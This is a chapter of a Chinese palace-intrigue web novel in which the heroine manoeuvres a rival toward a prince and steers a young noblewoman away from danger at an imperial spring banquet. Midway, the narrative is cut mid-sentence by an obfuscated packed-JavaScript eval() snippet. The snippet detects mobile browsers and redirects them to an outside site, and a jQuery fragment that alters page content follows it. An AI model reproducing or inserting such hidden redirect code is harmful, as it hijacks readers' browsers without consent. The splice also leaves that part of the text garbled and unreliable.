春宴白日,各家子女在园中自由游赏,沿路茶点不绝,各处花架新张,供女眷驻足歇赏。
随暮色渐降,宴席设于回廊水榭之间,宴罢,尚有夜游,又在湖畔设投壶取彩、临水戏谜之乐,供诸女郎、公子试展才艺。
虽未明言赐婚,但贵胄间心照不宣,御前春宴,场面越盛,落入眼中的人便越多。
崔莞言立于柳影婆娑处,目光掠过湖心。
当年春宴结束后,御湖安排了灯舞,湖中画舫游移,岸上贵女成群而立,人多拥挤,沈明宜不慎落了水。
消息传到她耳中时,已是数日后。
众人只道沈家小姐福薄,也有人悄悄议论,说她醒来时断断续续提过“有人推我”,但当时人多混乱,她自己也没看清。
那时灯火掩影,且临水台本就逼仄,推搡之间坠水并不稀奇,于是这事最后不了了之,只说是意外。
如今想来,谢清菱虽参与其中,但那一推恐怕非她亲自动手。
日未西沉,湖畔已开始布置夜宴游赏。
御湖西岸新设了一座临水台,崔莞言抬步向前,行至台边,扶上那围栏。
栏杆并不高,她探出半身去试,若有人推她这样一个女子,只需两成力,稍一失衡便足够叫人失足落入湖中。
她正要收回身子,袖口却忽然一紧,有道力自身后袭来,将她整个人猛地往后一扯,脚步踉跄,堪堪稳住,回头,便撞褚元唐那张冷峻愠色的脸。
“在找死吗?”他目光里带了几分不加掩饰的怒意。
崔莞言手腕被他紧攥得生疼,挣了两下,未能挣脱,只能抬眼看他:“王爷这是……见不得臣女赏景?”
褚元唐却并未松手:“你方才那样探出身子,是在赏景?若是失足落水,你可担得起搅乱春宴的名声?”
今日他这几句话,可比前世一整年都多。他这是以为她要跳湖寻死?还是又打算上演一次英雄救美?
前些日子还亲口说她靠近他就是找死,如今却跑来“搭救”,真是好笑得紧。
“王爷,还不舍得放手吗?男女授受不亲,在宫里这般拉扯,对臣女的名声不好。”
“臣女向来稳重,不会落水。倒是王爷……方才那一把,可是救命之举?难不成早已在旁候着?”
这话分明是带刺的,褚元唐的眉拢得更紧了些。
她又缓声道:“宫中春宴,贵女众多,王爷若是有空,不如去西苑走走,那儿的花比这儿开得艳。”
言下之意,是说他自作多情,让他别在她面前碍眼。
褚元唐面色沉了几分,冷冷一甩手,转身大步离开,袖袍翻起一阵风。
望着他的背影,崔莞言觉得可笑,他居然只是走了?这个向来滴水不漏、情绪晦暗的男人,自归京以来,情绪起伏得可谓反常。
她不知他到底藏了什么算盘,但能肯定一点,他的出现,确实牵动了许多人的神色。
尤其谢清菱,今日神情太明显了。
崔莞言并非未曾见过少女怀春,只是谢清菱看向褚元唐时的眼神,不单是欣赏,更是笃定、贪婪,像是盯上了什么势在必得之物。
她不是圣人,要救沈明宜,前提是自己安然无虞,利用褚元唐将谢清菱引开也未尝不可。
-
一整日,崔莞言都在园中四处行走,有人想上前攀谈,她便温声几句回挡,亦有人悄声议论,低语中似提及“灾星”二字。
“就是她吧?听说当年她一出生,国公夫人就小产了……”
“怪不得被养在外头那么多年,谁愿认回这样的女儿……”
“听说是封州长大的,气度倒也不凡。”
崔莞言止步转眸,只静静望了过去,未多言一句,那几名贵女却仿若被扼住喉咙,顿时噤声,低头施礼,连退两步,再不敢口出轻言。
另一边,谢清菱则拉着沈明宜,兴致勃勃地穿行花下亭间,一会儿赏花,一会儿评衣,话题不离脂粉风流。
沈明宜起初还能敷衍几句,到了后来,眉宇间已有些不耐。她素来爱静喜文,最厌这种无意义的攀比闲话。只是今晨应下了同游,若中途推辞,便失了体面,只得咬牙陪着,一路点头应和。
日暮时分,御花园内灯火初上,数十盏宫灯从水边一路延至宴台,宛若流光织就的玉带。
众人齐齐起身,向着主位叩首行礼。
文帝一袭明黄常服神色庄重,其后,贵妃沈氏与皇后并肩而至。
崔莞言随众女跪拜起身,方才欲按例归位,皇后却突然高声道:“莞言,来我身边。”
众人一怔,连崔时也愣在原地,他与长姐一同长大,多年来没给过他什么好脸色,怎的对十几年未谋面的妹妹如此亲昵?
崔莞言绕过几案,于万众目光中,落座于皇后近侧。
皇后亲自替她理了理发簪,笑意宴宴:“你刚回京,坐我身边,我安心些。”那语气不似客套,更像长辈自家人间的偏爱。
这一幕落入诸人眼中,原本那些因国公府流言而起的非议便如鱼骨般哽在喉间。
先前尚有贵女在暗中轻声议论,说她身份尴尬、受主母冷待,如今谁还敢多言半句?
崔莞言低头垂眸之际,余光掠过殿上另一侧主位旁的身影。
褚元唐正坐在皇帝左下首,视线似是落在她身上。
她眼神流转,与他目光将要相接之际,他却蓦地偏开了头,有意避让。
宴席另一头,沈贵妃与妹妹沈明宜却并无外人眼中的姐妹情深。
崔莞言早有所闻,这二人并非同母,自幼便暗中争锋。沈明宜天生丽质又才名远播,向来得忠义侯宠爱。直到入宫后,沈贵妃才算真正扬眉吐气,将那口多年的气一寸寸夺了回来。
宴席渐起,觥筹交错间,殿中热闹非凡。
贵妃举杯劝酒,几位权贵世家女儿接连献舞,笑语盈盈。皇后偶尔与崔莞言低声言笑,引得旁人频频侧目,心思各异。
而褚元唐自始至终未曾多言,唯在崔莞言偶尔饮茶之际,眸光才动了几分。
谢清菱坐在内苑一侧,自入席后便频频回望主位,目光久久停留在褚元唐身上,几次欲起又止,终究未曾找到借口靠近。
夜色渐深,宴席至酣。
文帝起身,举盏笑言:“湖上灯舞已备,诸卿可前往游赏,不必拘于礼数。”
众人闻言纷纷起身,移步向御湖而去。
沈明宜与谢清菱站在投壶台前,目光却并不在局上。谢清菱兴致正浓,沈明宜却早已神色倦倦,只敷衍地点头。
灯舞尚未开始,离岸不远处的水台也仍在布置。崔莞言随意绕行,身后跟着皇后派来的宫女欣儿。
远远望去,褚元唐立在岸边与人交谈。
她吩咐宫女去倒了一杯味道极重的桃花酿,算计好时间走过去,恰撞上迎面走来的谢清菱与沈明宜。
“谢小姐,好巧。”她故意抬高声量,思量是否能引起褚元唐的注意。
果然不过片刻,他朝这边看过来。
“崔小姐。”谢清菱应声,拉起沈明宜的手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962448|177703||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“明宜,这位是庆国公府的二小姐。”
听到庆国公府四个字,沈明宜的脸色一下变了,她一向厌烦崔时纠缠不休,如今见到他那妹妹,更是连应付都懒得装。
见她不肯打招呼,谢清菱尴尬地笑了两声,心里却想,再怎么不愿意,过一会儿还不是要成一家人。
正要打圆场,又看到崔莞言的眼神正看向别处,顺着那方向看去,竟碰上周王的眼神。
她又惊又喜。
崔莞言自是看得清谢清菱眼底那点被欲望灼亮的野心。
她与褚元唐同路归京一事,早已封锁,知者寥寥。此时便装作初次见那人,低声补了一句:“那位公子似乎在看我们……看起来,好像是在看谢小姐?”
“好像的确是在看……”沈明宜也将信将疑地说。
谢清菱一脸娇嗔,“你们别说胡话,那可是周王殿下,怎么会看我……”
她嘴上推辞,眼却没挪开半分,目光急切地黏在他身上。
周王神情虽冷,却偏有股说不清的张力。她想,若真是看她,也不是不可能。
容貌输她们,但那等冷淡无趣,怎敌得过我知趣贴心?一个冷面王爷,哪能喜欢死水一般的性子?
“说不定殿下是拉不下脸。”崔莞言接着劝她,“谢小姐若主动,兴许便成了这一场春宴的头筹。”
这话一出,谢清菱果然犹豫了,脸色浮上一抹难掩的喜色。
助兄长和崔时成事的确重要,可她自己呢?若错过这次机会,私下里怎好舔着脸去找周王?这一步若成,她谢清菱的命数便换了。
她眼中神采飞扬,敛起笑意,柔声道:“明宜,你在此等我一会儿。”
不等沈明宜回应,她便已转身,抬步朝褚元唐那边行去。
沈明宜侧头看了崔莞言一眼,总觉得她话里有话,但又挑不出半点不妥来。
崔莞言看着那急不可耐的步伐,淡淡地笑了。
人若急着去摘高枝,怕是要忘了自己几斤几两。
她摇了摇头,“谢小姐倒是有勇气。”
沈明宜想起谢清菱那眼神,也轻轻勾了唇角。“她一向眼高于顶。不过周王殿下……我瞧着,怕不是那么容易应付的。”
话音刚落,崔莞言似笑非笑地看她一眼,从一旁宫女手中取过那早已准备好的桃花酿,举到她面前。
“沈小姐要不要尝尝这桃花酿,甜得很。”
“多谢崔小姐美意,只是方才饮多了些,此时再沾杯,怕失了仪。”
崔莞言似乎也未强求,只微笑着将酒杯撤回些许,可就在手腕略动之间,杯中酒液溅了出来,笔直泼在了沈明宜胸口处。
绣着彩蝶的罗裙晕开一大片,湿迹斑斑,极是显眼。
“哎呀……”她神色带着几分歉意,“沈小姐莫怪,我这人向来笨手笨脚。”
沈明宜心情本就不佳,又被这一洒弄得一身狼狈,却不好当众发作,只能强压情绪,“无妨。”
“衣裳湿成这样,夜里风凉,怕要着凉。快带沈小姐去换身衣裳。”崔莞言对身后的欣儿说。
皇宫规矩森严,穿着湿衫行走已是失礼,更别说她向来不肯向沈贵妃低头,断不能让那位见了笑话,沈明宜只得压下羞恼,随宫女离开。
谢清菱正神采飞扬地站在褚元唐面前,絮絮言语唇角含笑,浑不知身后风向已变。
她尚沉浸在自以为的高嫁得计中,全然未察觉,她应下的那场局,已经败了一半。
剩下的一半,崔莞言会让亲手补上。